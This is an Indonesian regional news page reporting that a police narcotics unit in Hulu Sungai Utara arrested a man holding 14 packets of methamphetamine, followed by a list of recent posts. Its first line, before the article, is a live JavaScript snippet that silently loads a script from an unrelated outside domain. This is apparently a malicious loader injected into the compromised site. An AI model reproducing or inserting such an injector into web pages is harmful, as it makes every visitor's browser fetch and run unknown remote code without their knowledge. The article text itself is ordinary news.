(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum dan Kriminal

Simpan 14 Paket Sabu, JO Tak Berkutik Saat Dibekuk Sat Resnarkoba Polres HSU


KANALKALIMANTAN.COM, AMUNTAI – Satuan Resnarkoba Polres Hulu Sungai Utara (HSU) membekuk seorang pengedar sabu berinisial JO (44).

JO kedapatan menyimpan 14 paket narkotika jenis sabu dengan berat keseluruhan mencapai 6,65 gram.

Pelaku yang diketahui merupakan warga Desa Kandang Halang RT001 Kecamatan Amuntai Tengah, dibekuk anggota Sat Resnarkoba Polres HSU di dalam rumahnya.

Baca juga : Resmi! Pemerintah Tetapkan Awal Ramadhan 1442 Hijriah Selasa 13 April Besok

Saat itu, Sat Resnarkoba Polres HSU menjalankan operasi program inovasi HSU Bersinar (Hebat Sigap Untuk Bersih dari Narkoba) pada Minggu (11/4/2021) malam, sekitar pukul 20.25 Wita.

Kapolres HSU AKBP Afri Darmawan, SIK MH melalui Kasat Resnarkoba Iptu Siswadi, kepada kanalkalimantan.com, Selasa (12/4/2021) membenarkan adanya penangkapan terhadap pelaku JO

Dari informasinya, pelaku JO ditangkap  dikarenakan kedapatan memiliki, menyimpan, menguasai narkotika jenis sabu dengan berat keseluruhan 6,65 gram, berat bersih 4,13 gram.

“Barang bukti kami dapatkan di dalam 1 buah kotak iphone 5S warna putih tepatnya di lantai kamar rumah pelaku,” jelas Iptu Siswadi.

Pelaku dan barang bukti, papar dia, kemudian digelandang ke ruangan Sat Resnarkoba Polres HSU guna proses penyidikan lebih lanjut.

Baca juga : Warga Banjarmasin Tarawih Perdana di Masjid Sabilal dengan Terapkan Prokes Covid-19

Disamping narkotika jenis sabu, pihaknya juga  mengamankan barang bukti lainnya seperti sebuah Kotak Iphone 5S sebuah sedotan plastik sebuah handphone Merk Realme milik pelaku dan uang tunai sebesar Rp 300 ribu.

Terkait asal muasal barang haram tersebut, mantan Kapolsek Danau Panggang ini mengakui pihaknya masih melakukan pengembangan.

Atas pengungkapan kasus ini pelaku bersama barang bukti dapat dijerat Undang Undang RI No.35 Tahun 2009 tentang Narkotika sbg mana dlm Pasal 114 ayat 1 atau 112 ayat 1 UU RI No.35 Tahun 2009 tentang Narkotika.(kanalkalimantan.com/dew)

 

Reporter : Dew
Editor : Dhani

 

 


Al Ghifari

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

44 menit ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

3 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

4 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

6 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

8 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

9 jam ago

This website uses cookies.